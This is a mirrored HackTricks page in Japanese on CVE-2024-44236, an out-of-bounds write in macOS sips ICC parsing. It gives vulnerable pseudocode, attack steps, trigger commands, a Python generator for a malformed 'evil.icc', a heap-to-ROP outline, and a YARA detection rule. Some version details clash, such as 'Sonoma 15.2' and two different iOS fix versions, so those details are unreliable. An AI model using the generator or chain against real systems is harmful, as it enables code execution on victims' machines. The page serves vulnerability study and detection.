mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	
		
			
				
	
	
		
			98 lines
		
	
	
		
			5.8 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
			
		
		
	
	
			98 lines
		
	
	
		
			5.8 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
| # WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236)
 | ||
| 
 | ||
| {{#include ../../banners/hacktricks-training.md}}
 | ||
| 
 | ||
| ## 概要
 | ||
| 
 | ||
| Apple macOS **Scriptable Image Processing System** (`sips`) ICCプロファイルパーサーにおける境界外の**ゼロ書き込み**脆弱性(macOS 15.0.1, `sips-307`)により、攻撃者はヒープメタデータを破損させ、プリミティブを完全なコード実行にピボットさせることができます。このバグは、`lutAToBType` (`mAB `) および `lutBToAType` (`mBA `) タグの `offsetToCLUT` フィールドの処理にあります。攻撃者が `offsetToCLUT == tagDataSize` を設定すると、パーサーは**ヒープバッファの末尾から16バイトを消去**します。ヒープスプレーにより、攻撃者はアロケータ構造体や後でデリファレンスされるC++ポインタをゼロにすることができ、**任意の書き込みから実行への**チェーンを生じさせます(CVE-2024-44236, CVSS 7.8)。
 | ||
| 
 | ||
| > Appleは、macOS Sonoma 15.2 / Ventura 14.7.1(2024年10月30日)でこのバグを修正しました。第二のバリアント(CVE-2025-24185)は、2025年4月1日にmacOS 15.5およびiOS/iPadOS 18.5で修正されました。
 | ||
| 
 | ||
| ## 脆弱なコード
 | ||
| ```c
 | ||
| // Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
 | ||
| if (offsetToCLUT <= tagDataSize) {
 | ||
| // BAD ➜ zero 16 bytes starting *at* offsetToCLUT
 | ||
| for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
 | ||
| buffer[i] = 0;            // no bounds check vs allocated size!
 | ||
| }
 | ||
| ```
 | ||
| ## 攻撃手順
 | ||
| 
 | ||
| 1. **悪意のある `.icc` プロファイルを作成する**
 | ||
| 
 | ||
| * 最小限の ICC ヘッダー(`acsp`)を設定し、1 つの `mAB `(または `mBA `)タグを追加します。
 | ||
| * タグテーブルを構成して **`offsetToCLUT` がタグサイズ(`tagDataSize`)に等しくなるようにします**。
 | ||
| * タグの直後に攻撃者が制御するデータを配置し、16 のゼロ書き込みがアロケータメタデータと重なるようにします。
 | ||
| 
 | ||
| 2. **プロファイルに触れる任意の sips 操作で解析をトリガーする**
 | ||
| 
 | ||
| ```bash
 | ||
| # 検証パス(出力ファイルは不要)
 | ||
| sips --verifyColor evil.icc
 | ||
| # またはプロファイルを埋め込んだ画像を変換する際に暗黙的に
 | ||
| sips -s format png payload.jpg --out out.png
 | ||
| ```
 | ||
| 
 | ||
| 3. **ヒープメタデータの破損 ➜ 任意の書き込み ➜ ROP**
 | ||
| Apple のデフォルトの **`nano_zone` アロケータ**では、16 バイトスロットのメタデータは **整列された 0x1000 スラブの直後に存在します**。プロファイルのタグをそのようなスラブの末尾に配置することで、16 のゼロ書き込みが `meta->slot_B` を上書きします。その後の `free` により、汚染されたポインタが小さなフリーリストにキューイングされ、攻撃者は **任意のアドレスに偽のオブジェクトを割り当て**、sips によって使用される C++ vtable ポインタを上書きし、最終的に悪意のある ICC バッファに保存された ROP チェーンに実行をピボットします。
 | ||
| 
 | ||
| ### クイック PoC ジェネレーター (Python 3)
 | ||
| ```python
 | ||
| #!/usr/bin/env python3
 | ||
| import struct, sys
 | ||
| 
 | ||
| HDR = b'acsp'.ljust(128, b'\0')          # ICC header (magic + padding)
 | ||
| TAGS = [(b'mAB ', 132, 52)]              # one tag directly after header
 | ||
| profile  = HDR
 | ||
| profile += struct.pack('>I', len(TAGS))  # tag count
 | ||
| profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
 | ||
| 
 | ||
| mab = bytearray(52)                      # tag payload (52 bytes)
 | ||
| struct.pack_into('>I', mab, 44, 52)      # offsetToCLUT = size (OOB start)
 | ||
| profile += mab
 | ||
| 
 | ||
| open('evil.icc', 'wb').write(profile)
 | ||
| print('[+] Wrote evil.icc (%d bytes)' % len(profile))
 | ||
| ```
 | ||
| ### YARA検出ルール
 | ||
| ```yara
 | ||
| rule ICC_mAB_offsetToCLUT_anomaly
 | ||
| {
 | ||
| meta:
 | ||
| description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
 | ||
| author       = "HackTricks"
 | ||
| strings:
 | ||
| $magic = { 61 63 73 70 }          // 'acsp'
 | ||
| $mab   = { 6D 41 42 20 }          // 'mAB '
 | ||
| $mba   = { 6D 42 41 20 }          // 'mBA '
 | ||
| condition:
 | ||
| $magic at 0 and
 | ||
| for any i in (0 .. 10):           // up to 10 tags
 | ||
| (
 | ||
| ($mab at 132 + 12*i or $mba at 132 + 12*i) and
 | ||
| uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
 | ||
| )
 | ||
| }
 | ||
| ```
 | ||
| ## 影響
 | ||
| 
 | ||
| 作成されたICCプロファイルを開いたり処理したりすると、呼び出しユーザーのコンテキストでリモート**任意のコード実行**が発生し、プロファイルがそれ以外は無害な画像(PNG/JPEG/TIFF)に埋め込まれる可能性があるため、Gatekeeperをバイパスします。
 | ||
| 
 | ||
| ## 検出と緩和
 | ||
| 
 | ||
| * **パッチを適用!** ホストがmacOS ≥ 15.2 / 14.7.1(またはiOS/iPadOS ≥ 18.1)を実行していることを確認してください。
 | ||
| * 上記のYARAルールをメールゲートウェイとEDRソリューションに展開します。
 | ||
| * 信頼できないファイルのさらなる処理の前に、`exiftool -icc_profile= -overwrite_original <file>`を使用して埋め込まれたICCプロファイルを削除またはサニタイズします。
 | ||
| * 不明なコンテンツを分析する際には、サンドボックス化された「透明性と近代化」VM内でPreview/QuickLookを実行して強化します。
 | ||
| * DFIRの場合、統合ログでサンドボックス化されたアプリによる`sips --verifyColor`の最近の実行や`ColorSync`ライブラリの読み込みを探します。
 | ||
| 
 | ||
| ## 参考文献
 | ||
| 
 | ||
| * Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)”
 | ||
| https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
 | ||
| * Apple security updates HT213981 “macOS Sonoma 15.2のセキュリティコンテンツについて”
 | ||
| https://support.apple.com/en-us/HT213981
 | ||
| 
 | ||
| {{#include ../../banners/hacktricks-training.md}}
 |